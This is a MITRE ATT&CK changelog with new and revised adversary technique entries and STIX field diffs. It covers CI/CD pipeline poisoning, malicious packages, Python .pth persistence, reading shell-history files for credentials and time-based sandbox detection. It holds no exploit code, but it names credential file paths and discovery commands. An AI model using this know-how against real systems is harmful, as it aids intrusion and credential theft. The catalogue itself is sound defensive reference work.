+Modifying or disabling a network firewall may enable adversary C2 communications, lateral movement, and/or data exfiltration that would otherwise not be allowed. For example, adversaries may add new network firewall rules to allow access to all internal network subnets without restrictions.(Citation: Exposed Fortinet Fortigate firewall interface leads to LockBit Ransomware)
+Adversaries may gain access to the firewall management console via Valid Accounts or by exploiting a vulnerability. In some cases, threat actors may target firewalls that have been exposed to the internet Exploit Public-Facing Application.(Citation: CVE-2024-55591 Detail)
Current version: 1.0
Description:
Adversaries may enumerate local drives, disks, and/or volumes and their attributes like total or free space and volume serial number. This can be done to prepare for ransomware-related encryption, to perform Lateral Movement, or as a precursor to Direct Volume Access.
+On ESXi systems, adversaries may use Hypervisor CLI commands such as esxcli to list storage connected to the host as well as .vmdk files.(Citation: TrendMicro)(Citation: TrendMicro ESXI Ransomware)
On Windows systems, adversaries can use wmic logicaldisk get to find information about local network drives. They can also use Get-PSDrive in PowerShell to retrieve drives and may additionally use Windows API functions such as GetDriveType.(Citation: Trend Micro MUSTANG PANDA PUBLOAD HIUPAN SEPTEMBER 2024)(Citation: Volexity)
Linux has commands such as parted, lsblk, fdisk, lshw, and df that can list information about disk partitions such as size, type, file system types, and free space. The command diskutil on MacOS can be used to list disks while system_profiler SPStorageDataType can additionally show information such as a volume’s mount path, file system, and the type of drive in the system.
Infrastructure as a Service (IaaS) cloud providers also have commands for storage discovery such as describe volume in AWS, gcloud compute disks list in GCP, and az disk list in Azure.(Citation: AWS docs describe volumes)(Citation: GCP gcloud compute disks list)(Citation: azure az disk)
Current version: 1.0
Description:
Adversaries may rely on a user installing a malicious library to facilitate execution. Threat actors may Upload Malware to package managers such as NPM and PyPi, as well as to public code repositories such as GitHub. User may install libraries without realizing they are malicious, thus bypassing techniques that specifically achieve Initial Access. This can lead to the execution of malicious code, such as code that establishes persistence, steals data, or mines cryptocurrency.(Citation: Datadog Security Labs Malicious PyPi Packages 2024)(Citation: Fortinet Malicious NPM Packages 2023)
+In some cases, threat actors may compromise and backdoor existing popular libraries (i.e., Compromise Software Dependencies and Development Tools). Alternatively, they may create entirely new packages and leverage behaviors such as typosquatting to encourage users to install them.
Current version: 1.0
Description:
Adversaries may manipulate continuous integration / continuous development (CI/CD) processes by injecting malicious code into the build process. There are several mechanisms for poisoning pipelines:
+gitlab-ci.yml in GitLab). They may include a command to exfiltrate credentials leveraged in the build process to a remote server, or to export them as a workflow artifact.(Citation: Unit 42 Palo Alto GitHub Actions Supply Chain Attack 2025)(Citation: OWASP CICD-SEC-4)pull_request_target trigger allows workflows running from forked repositories to access secrets. If this trigger is combined with an explicit pull request checkout and a location for a threat actor to insert malicious code (e.g., an npm build command), a threat actor may be able to leak pipeline credentials.(Citation: Unit 42 Palo Alto GitHub Actions Supply Chain Attack 2025)(Citation: GitHub Security Lab GitHub Actions Security 2021) Similarly, threat actors may craft pull requests with malicious inputs (such as branch names) if the build pipeline treats those inputs as trusted.(Citation: Wiz Ultralytics AI Library Hijack 2024)(Citation: Synactiv Hijacking GitHub Runners)(Citation: GitHub Security Labs GitHub Actions Security Part 2 2021) Finally, if a pipeline leverages a self-hosted runner, a threat actor may be able to execute arbitrary code on a host inside the organization’s network.(Citation: John Stawinski PyTorch Supply Chain Attack 2024)By poisoning CI/CD pipelines, threat actors may be able to gain access to credentials, laterally move to additional hosts, or input malicious components to be shipped further down the pipeline (i.e., Supply Chain Compromise).
Current version: 1.0
Description:
Adversaries may achieve persistence by leveraging Python’s startup mechanisms, including path configuration (.pth) files and the sitecustomize.py or usercustomize.py modules. These files are automatically processed during the initialization of the Python interpreter, allowing for the execution of arbitrary code whenever Python is invoked.(Citation: Volexity GlobalProtect CVE 2024)
Path configuration files are designed to extend Python’s module search paths through the use of import statements. If a .pth file is placed in Python's site-packages or dist-packages directories, any lines beginning with import will be executed automatically on Python invocation.(Citation: DFIR Python Persistence 2025) Similarly, if sitecustomize.py or usercustomize.py is present in the Python path, these files will be imported during interpreter startup, and any code they contain will be executed.(Citation: Python Site Configuration Hook)
Adversaries may abuse these mechanisms to establish persistence on systems where Python is widely used (e.g., for automation or scripting in production environments).
Current version: 1.0
Description:
Threat actors may seek information/indicators from closed or open threat intelligence sources gathered about their own campaigns, as well as those conducted by other adversaries that may align with their target industries, capabilities/objectives, or other operational concerns. These reports may include descriptions of behavior, detailed breakdowns of attacks, atomic indicators such as malware hashes or IP addresses, timelines of a group’s activity, and more. Adversaries may change their behavior when planning their future operations.
+Adversaries have been observed replacing atomic indicators mentioned in blog posts in under a week.(Citation: Google Cloud Threat Intelligence VMWare ESXi Zero-Day 2023) Adversaries have also been seen searching for their own domain names in threat vendor data and then taking them down, likely to avoid seizure or further investigation.(Citation: Sentinel One Contagious Interview ClickFix September 2025)
+This technique is distinct from Threat Intel Vendors in that it describes threat actors performing reconnaissance on their own activity, not in search of victim information.
Current version: 1.0
Description:
Adversaries may intentionally exclude certain files, folders, directories, file types, or system components from encryption or tampering during a ransomware or malicious payload execution. Some file extensions that adversaries may avoid encrypting include .dll, .exe, and .lnk.(Citation: Palo Alto Unit 42 Medusa Group Medusa Ransomware January 2024)
Adversaries may perform this behavior to avoid alerting users, to evade detection by security tools and analysts, or, in the case of ransomware, to ensure that the system remains operational enough to deliver the ransom notice.
+Exclusions may target files and components whose corruption would cause instability, break core services, or immediately expose the attack. By carefully avoiding these areas, adversaries maintain system responsiveness while minimizing indicators that could trigger alarms or otherwise inhibit achieving their goals.
Current version: 2.0
Version changed from: 1.2 → 2.0
+| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may search the bash command history on compromis | t | 1 | Adversaries may search the command history on compromised sy |
| > | ed systems for insecurely stored credentials. Bash keeps tra | > | stems for insecurely stored credentials. On Linux and macOS | ||
| > | ck of the commands users type on the command-line with the " | > | systems, shells such as Bash and Zsh keep track of the comm | ||
| > | history" utility. Once a user logs out, the history is flush | > | ands users type on the command-line with the "history" utili | ||
| > | ed to the user’s <code>.bash_history</code> file. For each u | > | ty. Once a user logs out, the history is flushed to the user | ||
| > | ser, this file resides at the same location: <code>~/.bash_h | > | 's history file. For each user, this file resides at the sam | ||
| > | istory</code>. Typically, this file keeps track of the user’ | > | e location: for example, `~/.bash_history` or `~/.zsh_histor | ||
| > | s last 500 commands. Users often type usernames and password | > | y`. Typically, these files keeps track of the user's last 10 | ||
| > | s on the command-line as parameters to programs, which then | > | 00 commands. On Windows, PowerShell has both a command hist | ||
| > | get saved to this file when they log out. Adversaries can ab | > | ory that is wiped after the session ends, and one that conta | ||
| > | use this by looking through the file for potential credentia | > | ins commands used in all sessions and is persistent. The def | ||
| > | ls. (Citation: External to DA, the OS X Way) | > | ault location for persistent history can be found in `%userp | ||
| > | rofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadl | ||||
| > | ine\ConsoleHost_history.txt`, but command history can also b | ||||
| > | e accessed with `Get-History`. Command Prompt (CMD) on Windo | ||||
| > | ws does not have persistent history.(Citation: Microsoft abo | ||||
| > | ut_History)(Citation: Medium) Users often type usernames an | ||||
| > | d passwords on the command-line as parameters to programs, w | ||||
| > | hich then get saved to this file when they log out. Adversar | ||||
| > | ies can abuse this by looking through the file for potential | ||||
| > | credentials.(Citation: External to DA, the OS X Way) | ||||
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_contributors | ['Raja Singh (raja-singh-r3v-sh3ll)', 'Avioo360'] |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['File: File Access', 'Command: Command Execution'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 21:52:49.389000+00:00 | 2025-10-24 17:49:02.375000+00:00 |
| name | Bash History | Shell History |
| description | Adversaries may search the bash command history on compromised systems for insecurely stored credentials. Bash keeps track of the commands users type on the command-line with the "history" utility. Once a user logs out, the history is flushed to the user’s .bash_history file. For each user, this file resides at the same location: ~/.bash_history. Typically, this file keeps track of the user’s last 500 commands. Users often type usernames and passwords on the command-line as parameters to programs, which then get saved to this file when they log out. Adversaries can abuse this by looking through the file for potential credentials. (Citation: External to DA, the OS X Way) | Adversaries may search the command history on compromised systems for insecurely stored credentials. + +On Linux and macOS systems, shells such as Bash and Zsh keep track of the commands users type on the command-line with the "history" utility. Once a user logs out, the history is flushed to the user's history file. For each user, this file resides at the same location: for example, `~/.bash_history` or `~/.zsh_history`. Typically, these files keeps track of the user's last 1000 commands. + +On Windows, PowerShell has both a command history that is wiped after the session ends, and one that contains commands used in all sessions and is persistent. The default location for persistent history can be found in `%userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt`, but command history can also be accessed with `Get-History`. Command Prompt (CMD) on Windows does not have persistent history.(Citation: Microsoft about_History)(Citation: Medium) + +Users often type usernames and passwords on the command-line as parameters to programs, which then get saved to this file when they log out. Adversaries can abuse this by looking through the file for potential credentials.(Citation: External to DA, the OS X Way) |
| x_mitre_attack_spec_version | 3.2.0 | 3.3.0 |
| x_mitre_detection | Monitoring when the user's .bash_history is read can help alert to suspicious activity. While users do typically rely on their history of commands, they often access this history through other utilities like "history" instead of commands like cat ~/.bash_history. | |
| x_mitre_version | 1.2 | 2.0 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'Medium', 'description': 'Michael Koczwara. (2021, March 14). Windows privilege escalation via PowerShell History. Retrieved June 13, 2025.', 'url': 'https://michaelkoczwara.medium.com/windows-privilege-escalation-dbb908cce8d4'} | |
| external_references | {'source_name': 'Microsoft about_History', 'description': 'Microsoft. (2024, January 19). about_History. Retrieved June 13, 2025.', 'url': 'https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_history?view=powershell-7.5'} | |
| x_mitre_platforms | Windows |
Current version: 3.0
Version changed from: 2.6 → 3.0
+| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | An adversary may attempt to get detailed information about t | t | 1 | An adversary may attempt to get detailed information about t |
| > | he operating system and hardware, including version, patches | > | he operating system and hardware, including version, patches | ||
| > | , hotfixes, service packs, and architecture. Adversaries may | > | , hotfixes, service packs, and architecture. Adversaries may | ||
| > | use the information from [System Information Discovery](htt | > | use this information to shape follow-on behaviors, includin | ||
| > | ps://attack.mitre.org/techniques/T1082) during automated dis | > | g whether or not the adversary fully infects the target and/ | ||
| > | covery to shape follow-on behaviors, including whether or no | > | or attempts specific actions. This behavior is distinct from | ||
| > | t the adversary fully infects the target and/or attempts spe | > | [Local Storage Discovery](https://attack.mitre.org/techniqu | ||
| > | cific actions. Tools such as [Systeminfo](https://attack.mi | > | es/T1680) which is an adversary's discovery of local drive, | ||
| > | tre.org/software/S0096) can be used to gather detailed syste | > | disks and/or volumes. Tools such as [Systeminfo](https://at | ||
| > | m information. If running with privileged access, a breakdow | > | tack.mitre.org/software/S0096) can be used to gather detaile | ||
| > | n of system data can be gathered through the <code>systemset | > | d system information. If running with privileged access, a b | ||
| > | up</code> configuration tool on macOS. As an example, advers | > | reakdown of system data can be gathered through the <code>sy | ||
| > | aries with user-level access can execute the <code>df -aH</c | > | stemsetup</code> configuration tool on macOS. Adversaries ma | ||
| > | ode> command to obtain currently mounted disks and associate | > | y leverage a [Network Device CLI](https://attack.mitre.org/t | ||
| > | d freely available space. Adversaries may also leverage a [N | > | echniques/T1059/008) on network devices to gather detailed s | ||
| > | etwork Device CLI](https://attack.mitre.org/techniques/T1059 | > | ystem information (e.g. <code>show version</code>).(Citation | ||
| > | /008) on network devices to gather detailed system informati | > | : US-CERT-TA18-106A) On ESXi servers, threat actors may gath | ||
| > | on (e.g. <code>show version</code>).(Citation: US-CERT-TA18- | > | er system information from various esxcli utilities, such as | ||
| > | 106A) On ESXi servers, threat actors may gather system infor | > | `system hostname get` and `system version get`.(Citation: C | ||
| > | mation from various esxcli utilities, such as `system hostna | > | rowdstrike Hypervisor Jackpotting Pt 2 2021)(Citation: Varon | ||
| > | me get`, `system version get`, and `storage filesystem list` | > | is) Infrastructure as a Service (IaaS) cloud providers such | ||
| > | (to list storage volumes).(Citation: Crowdstrike Hypervisor | > | as AWS, GCP, and Azure allow access to instance and virtual | ||
| > | Jackpotting Pt 2 2021)(Citation: Varonis) Infrastructure a | > | machine information via APIs. Successful authenticated API | ||
| > | s a Service (IaaS) cloud providers such as AWS, GCP, and Azu | > | calls can return data such as the operating system platform | ||
| > | re allow access to instance and virtual machine information | > | and status of a particular instance or the model view of a v | ||
| > | via APIs. Successful authenticated API calls can return data | > | irtual machine.(Citation: Amazon Describe Instance)(Citation | ||
| > | such as the operating system platform and status of a parti | > | : Google Instances Resource)(Citation: Microsoft Virutal Mac | ||
| > | cular instance or the model view of a virtual machine.(Citat | > | hine API) [System Information Discovery](https://attack.mit | ||
| > | ion: Amazon Describe Instance)(Citation: Google Instances Re | > | re.org/techniques/T1082) combined with information gathered | ||
| > | source)(Citation: Microsoft Virutal Machine API) [System In | > | from other forms of discovery and reconnaissance can drive p | ||
| > | formation Discovery](https://attack.mitre.org/techniques/T10 | > | ayload development and concealment.(Citation: OSX.FairyTale) | ||
| > | 82) combined with information gathered from other forms of d | > | (Citation: 20 macOS Common Tools and Techniques) | ||
| > | iscovery and reconnaissance can drive payload development an | ||||
| > | d concealment.(Citation: OSX.FairyTale)(Citation: 20 macOS C | ||||
| > | ommon Tools and Techniques) | ||||
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Process: OS API Execution', 'Process: Process Creation', 'Command: Command Execution'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 19:58:21.308000+00:00 | 2025-10-24 17:48:38.277000+00:00 |
| description | An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from [System Information Discovery](https://attack.mitre.org/techniques/T1082) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
+
+Tools such as [Systeminfo](https://attack.mitre.org/software/S0096) can be used to gather detailed system information. If running with privileged access, a breakdown of system data can be gathered through the systemsetup configuration tool on macOS. As an example, adversaries with user-level access can execute the df -aH command to obtain currently mounted disks and associated freely available space. Adversaries may also leverage a [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) on network devices to gather detailed system information (e.g. show version).(Citation: US-CERT-TA18-106A) On ESXi servers, threat actors may gather system information from various esxcli utilities, such as `system hostname get`, `system version get`, and `storage filesystem list` (to list storage volumes).(Citation: Crowdstrike Hypervisor Jackpotting Pt 2 2021)(Citation: Varonis)
+
+Infrastructure as a Service (IaaS) cloud providers such as AWS, GCP, and Azure allow access to instance and virtual machine information via APIs. Successful authenticated API calls can return data such as the operating system platform and status of a particular instance or the model view of a virtual machine.(Citation: Amazon Describe Instance)(Citation: Google Instances Resource)(Citation: Microsoft Virutal Machine API)
+
+[System Information Discovery](https://attack.mitre.org/techniques/T1082) combined with information gathered from other forms of discovery and reconnaissance can drive payload development and concealment.(Citation: OSX.FairyTale)(Citation: 20 macOS Common Tools and Techniques) | An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use this information to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions. This behavior is distinct from [Local Storage Discovery](https://attack.mitre.org/techniques/T1680) which is an adversary's discovery of local drive, disks and/or volumes.
+
+Tools such as [Systeminfo](https://attack.mitre.org/software/S0096) can be used to gather detailed system information. If running with privileged access, a breakdown of system data can be gathered through the systemsetup configuration tool on macOS. Adversaries may leverage a [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) on network devices to gather detailed system information (e.g. show version).(Citation: US-CERT-TA18-106A) On ESXi servers, threat actors may gather system information from various esxcli utilities, such as `system hostname get` and `system version get`.(Citation: Crowdstrike Hypervisor Jackpotting Pt 2 2021)(Citation: Varonis)
+
+Infrastructure as a Service (IaaS) cloud providers such as AWS, GCP, and Azure allow access to instance and virtual machine information via APIs. Successful authenticated API calls can return data such as the operating system platform and status of a particular instance or the model view of a virtual machine.(Citation: Amazon Describe Instance)(Citation: Google Instances Resource)(Citation: Microsoft Virutal Machine API)
+
+[System Information Discovery](https://attack.mitre.org/techniques/T1082) combined with information gathered from other forms of discovery and reconnaissance can drive payload development and concealment.(Citation: OSX.FairyTale)(Citation: 20 macOS Common Tools and Techniques) |
| x_mitre_attack_spec_version | 3.2.0 | 3.3.0 |
| x_mitre_detection | System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities based on the information obtained. + +Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Further, [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) commands may also be used to gather detailed system information with built-in features native to the network device platform. Monitor CLI activity for unexpected or unauthorized use commands being run by non-standard users from non-standard locations. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001). + +In cloud-based systems, native logging can be used to identify access to certain APIs and dashboards that may contain system information. Depending on how the environment is used, that data alone may not be useful due to benign use during normal operations. | |
| x_mitre_version | 2.6 | 3.0 |
Current version: 2.0
Version changed from: 1.0 → 2.0
+| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may search private data from threat intelligence | t | 1 | Adversaries may search private data from threat intelligence |
| > | vendors for information that can be used during targeting. | > | vendors for information that can be used during targeting. | ||
| > | Threat intelligence vendors may offer paid feeds or portals | > | Threat intelligence vendors may offer paid feeds or portals | ||
| > | that offer more data than what is publicly reported. Althoug | > | that offer more data than what is publicly reported. Althoug | ||
| > | h sensitive details (such as customer names and other identi | > | h sensitive details (such as customer names and other identi | ||
| > | fiers) may be redacted, this information may contain trends | > | fiers) may be redacted, this information may contain trends | ||
| > | regarding breaches such as target industries, attribution cl | > | regarding breaches such as target industries, attribution cl | ||
| > | aims, and successful TTPs/countermeasures.(Citation: D3Secut | > | aims, and successful TTPs/countermeasures.(Citation: D3Secut | ||
| > | rity CTI Feeds) Adversaries may search in private threat in | > | rity CTI Feeds) Adversaries may search in private threat in | ||
| > | telligence vendor data to gather actionable information. Thr | > | telligence vendor data to gather actionable information. If | ||
| > | eat actors may seek information/indicators gathered about th | > | a threat actor is searching for information on their own act | ||
| > | eir own campaigns, as well as those conducted by other adver | > | ivities, that falls under [Search Threat Vendor Data](https: | ||
| > | saries that may align with their target industries, capabili | > | //attack.mitre.org/techniques/T1681). Information reported b | ||
| > | ties/objectives, or other operational concerns. Information | > | y vendors may also reveal opportunities other forms of recon | ||
| > | reported by vendors may also reveal opportunities other form | > | naissance (ex: [Search Open Websites/Domains](https://attack | ||
| > | s of reconnaissance (ex: [Search Open Websites/Domains](http | > | .mitre.org/techniques/T1593)), establishing operational reso | ||
| > | s://attack.mitre.org/techniques/T1593)), establishing operat | > | urces (ex: [Develop Capabilities](https://attack.mitre.org/t | ||
| > | ional resources (ex: [Develop Capabilities](https://attack.m | > | echniques/T1587) or [Obtain Capabilities](https://attack.mit | ||
| > | itre.org/techniques/T1587) or [Obtain Capabilities](https:// | > | re.org/techniques/T1588)), and/or initial access (ex: [Explo | ||
| > | attack.mitre.org/techniques/T1588)), and/or initial access ( | > | it Public-Facing Application](https://attack.mitre.org/techn | ||
| > | ex: [Exploit Public-Facing Application](https://attack.mitre | > | iques/T1190) or [External Remote Services](https://attack.mi | ||
| > | .org/techniques/T1190) or [External Remote Services](https:/ | > | tre.org/techniques/T1133)). | ||
| > | /attack.mitre.org/techniques/T1133)). | ||||
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 23:16:02.261000+00:00 | 2025-10-24 17:48:46.954000+00:00 |
| description | Adversaries may search private data from threat intelligence vendors for information that can be used during targeting. Threat intelligence vendors may offer paid feeds or portals that offer more data than what is publicly reported. Although sensitive details (such as customer names and other identifiers) may be redacted, this information may contain trends regarding breaches such as target industries, attribution claims, and successful TTPs/countermeasures.(Citation: D3Secutrity CTI Feeds) + +Adversaries may search in private threat intelligence vendor data to gather actionable information. Threat actors may seek information/indicators gathered about their own campaigns, as well as those conducted by other adversaries that may align with their target industries, capabilities/objectives, or other operational concerns. Information reported by vendors may also reveal opportunities other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190) or [External Remote Services](https://attack.mitre.org/techniques/T1133)). | Adversaries may search private data from threat intelligence vendors for information that can be used during targeting. Threat intelligence vendors may offer paid feeds or portals that offer more data than what is publicly reported. Although sensitive details (such as customer names and other identifiers) may be redacted, this information may contain trends regarding breaches such as target industries, attribution claims, and successful TTPs/countermeasures.(Citation: D3Secutrity CTI Feeds) + +Adversaries may search in private threat intelligence vendor data to gather actionable information. If a threat actor is searching for information on their own activities, that falls under [Search Threat Vendor Data](https://attack.mitre.org/techniques/T1681). Information reported by vendors may also reveal opportunities other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190) or [External Remote Services](https://attack.mitre.org/techniques/T1133)). |
| x_mitre_attack_spec_version | 3.2.0 | 3.3.0 |
| x_mitre_detection | Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. + +Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access. | |
| x_mitre_version | 1.0 | 2.0 |
Current version: 2.0
Version changed from: 1.3 → 2.0
+| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may employ various time-based methods to detect | t | 1 | Adversaries may employ various time-based methods to detect |
| > | and avoid virtualization and analysis environments. This may | > | virtualization and analysis environments, particularly those | ||
| > | include enumerating time-based properties, such as uptime o | > | that attempt to manipulate time mechanisms to simulate long | ||
| > | r the system clock, as well as the use of timers or other tr | > | er elapses of time. This may include enumerating time-based | ||
| > | iggers to avoid a virtual machine environment (VME) or sandb | > | properties, such as uptime or the system clock. Adversarie | ||
| > | ox, specifically those that are automated or only operate fo | > | s may use calls like `GetTickCount` and `GetSystemTimeAsFile | ||
| > | r a limited amount of time. Adversaries may employ various | > | Time` to discover if they are operating within a virtual mac | ||
| > | time-based evasions, such as delaying malware functionality | > | hine or sandbox, or may be able to identify a sandbox accele | ||
| > | upon initial execution using programmatic sleep commands or | > | rating time by sampling and calculating the expected value f | ||
| > | native system scheduling functionality (ex: [Scheduled Task/ | > | or an environment's timestamp before and after execution of | ||
| > | Job](https://attack.mitre.org/techniques/T1053)). Delays may | > | a sleep function.(Citation: ISACA Malware Tricks) | ||
| > | also be based on waiting for specific victim conditions to | ||||
| > | be met (ex: system time, events, etc.) or employ scheduled [ | ||||
| > | Multi-Stage Channels](https://attack.mitre.org/techniques/T1 | ||||
| > | 104) to avoid analysis and scrutiny.(Citation: Deloitte Envi | ||||
| > | ronment Awareness) Benign commands or other operations may | ||||
| > | also be used to delay malware execution. Loops or otherwise | ||||
| > | needless repetitions of commands, such as [Ping](https://att | ||||
| > | ack.mitre.org/software/S0097)s, may be used to delay malware | ||||
| > | execution and potentially exceed time thresholds of automat | ||||
| > | ed analysis environments.(Citation: Revil Independence Day)( | ||||
| > | Citation: Netskope Nitol) Another variation, commonly referr | ||||
| > | ed to as API hammering, involves making various calls to [Na | ||||
| > | tive API](https://attack.mitre.org/techniques/T1106) functio | ||||
| > | ns in order to delay execution (while also potentially overl | ||||
| > | oading analysis environments with junk data).(Citation: Joe | ||||
| > | Sec Nymaim)(Citation: Joe Sec Trickbot) Adversaries may als | ||||
| > | o use time as a metric to detect sandboxes and analysis envi | ||||
| > | ronments, particularly those that attempt to manipulate time | ||||
| > | mechanisms to simulate longer elapses of time. For example, | ||||
| > | an adversary may be able to identify a sandbox accelerating | ||||
| > | time by sampling and calculating the expected value for an | ||||
| > | environment's timestamp before and after execution of a slee | ||||
| > | p function.(Citation: ISACA Malware Tricks) | ||||
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Process: OS API Execution', 'Process: Process Creation', 'Command: Command Execution'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 19:58:29.032000+00:00 | 2025-10-24 17:48:44.870000+00:00 |
| name | Time Based Evasion | Time Based Checks |
| description | Adversaries may employ various time-based methods to detect and avoid virtualization and analysis environments. This may include enumerating time-based properties, such as uptime or the system clock, as well as the use of timers or other triggers to avoid a virtual machine environment (VME) or sandbox, specifically those that are automated or only operate for a limited amount of time. + +Adversaries may employ various time-based evasions, such as delaying malware functionality upon initial execution using programmatic sleep commands or native system scheduling functionality (ex: [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053)). Delays may also be based on waiting for specific victim conditions to be met (ex: system time, events, etc.) or employ scheduled [Multi-Stage Channels](https://attack.mitre.org/techniques/T1104) to avoid analysis and scrutiny.(Citation: Deloitte Environment Awareness) + +Benign commands or other operations may also be used to delay malware execution. Loops or otherwise needless repetitions of commands, such as [Ping](https://attack.mitre.org/software/S0097)s, may be used to delay malware execution and potentially exceed time thresholds of automated analysis environments.(Citation: Revil Independence Day)(Citation: Netskope Nitol) Another variation, commonly referred to as API hammering, involves making various calls to [Native API](https://attack.mitre.org/techniques/T1106) functions in order to delay execution (while also potentially overloading analysis environments with junk data).(Citation: Joe Sec Nymaim)(Citation: Joe Sec Trickbot) + +Adversaries may also use time as a metric to detect sandboxes and analysis environments, particularly those that attempt to manipulate time mechanisms to simulate longer elapses of time. For example, an adversary may be able to identify a sandbox accelerating time by sampling and calculating the expected value for an environment's timestamp before and after execution of a sleep function.(Citation: ISACA Malware Tricks) | Adversaries may employ various time-based methods to detect virtualization and analysis environments, particularly those that attempt to manipulate time mechanisms to simulate longer elapses of time. This may include enumerating time-based properties, such as uptime or the system clock. + +Adversaries may use calls like `GetTickCount` and `GetSystemTimeAsFileTime` to discover if they are operating within a virtual machine or sandbox, or may be able to identify a sandbox accelerating time by sampling and calculating the expected value for an environment's timestamp before and after execution of a sleep function.(Citation: ISACA Malware Tricks) |
| x_mitre_attack_spec_version | 3.2.0 | 3.3.0 |
| x_mitre_detection | Time-based evasion will likely occur in the first steps of an operation but may also occur throughout as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as lateral movement, based on the information obtained. Detecting actions related to virtualization and sandbox identification may be difficult depending on the adversary's implementation and monitoring required. Monitoring for suspicious processes being spawned that gather a variety of system information or perform other forms of Discovery, especially in a short period of time, may aid in detection. | |
| x_mitre_version | 1.3 | 2.0 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'Joe Sec Nymaim', 'description': 'Joe Security. (2016, April 21). Nymaim - evading Sandboxes with API hammering. Retrieved September 30, 2021.', 'url': 'https://www.joesecurity.org/blog/3660886847485093803'} | |
| external_references | {'source_name': 'Joe Sec Trickbot', 'description': "Joe Security. (2020, July 13). TrickBot's new API-Hammering explained. Retrieved September 30, 2021.", 'url': 'https://www.joesecurity.org/blog/498839998833561473'} | |
| external_references | {'source_name': 'Revil Independence Day', 'description': 'Loman, M. et al. (2021, July 4). Independence Day: REvil uses supply chain exploit to attack hundreds of businesses. Retrieved September 30, 2021.', 'url': 'https://news.sophos.com/en-us/2021/07/04/independence-day-revil-uses-supply-chain-exploit-to-attack-hundreds-of-businesses/'} | |
| external_references | {'source_name': 'Netskope Nitol', 'description': 'Malik, A. (2016, October 14). Nitol Botnet makes a resurgence with evasive sandbox analysis technique. Retrieved September 30, 2021.', 'url': 'https://www.netskope.com/blog/nitol-botnet-makes-resurgence-evasive-sandbox-analysis-technique'} | |
| external_references | {'source_name': 'Deloitte Environment Awareness', 'description': 'Torello, A. & Guibernau, F. (n.d.). Environment Awareness. Retrieved September 13, 2024.', 'url': 'https://drive.google.com/file/d/1t0jn3xr4ff2fR30oQAUn_RsWSnMpOAQc/edit'} |
Current version: 1.5
Version changed from: 1.4 → 1.5
+| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may interrupt availability of system and network | t | 1 | Adversaries may interrupt availability of system and network |
| > | resources by inhibiting access to accounts utilized by legi | > | resources by inhibiting access to accounts utilized by legi | ||
| > | timate users. Accounts may be deleted, locked, or manipulate | > | timate users. Accounts may be deleted, locked, or manipulate | ||
| > | d (ex: changed credentials) to remove access to accounts. Ad | > | d (ex: changed credentials, revoked permissions for SaaS pla | ||
| > | versaries may also subsequently log off and/or perform a [Sy | > | tforms such as Sharepoint) to remove access to accounts.(Cit | ||
| > | stem Shutdown/Reboot](https://attack.mitre.org/techniques/T1 | > | ation: Obsidian Security SaaS Ransomware June 2023) Adversar | ||
| > | 529) to set malicious changes into place.(Citation: CarbonBl | > | ies may also subsequently log off and/or perform a [System S | ||
| > | ack LockerGoga 2019)(Citation: Unit42 LockerGoga 2019) In W | > | hutdown/Reboot](https://attack.mitre.org/techniques/T1529) t | ||
| > | indows, [Net](https://attack.mitre.org/software/S0039) utili | > | o set malicious changes into place.(Citation: CarbonBlack Lo | ||
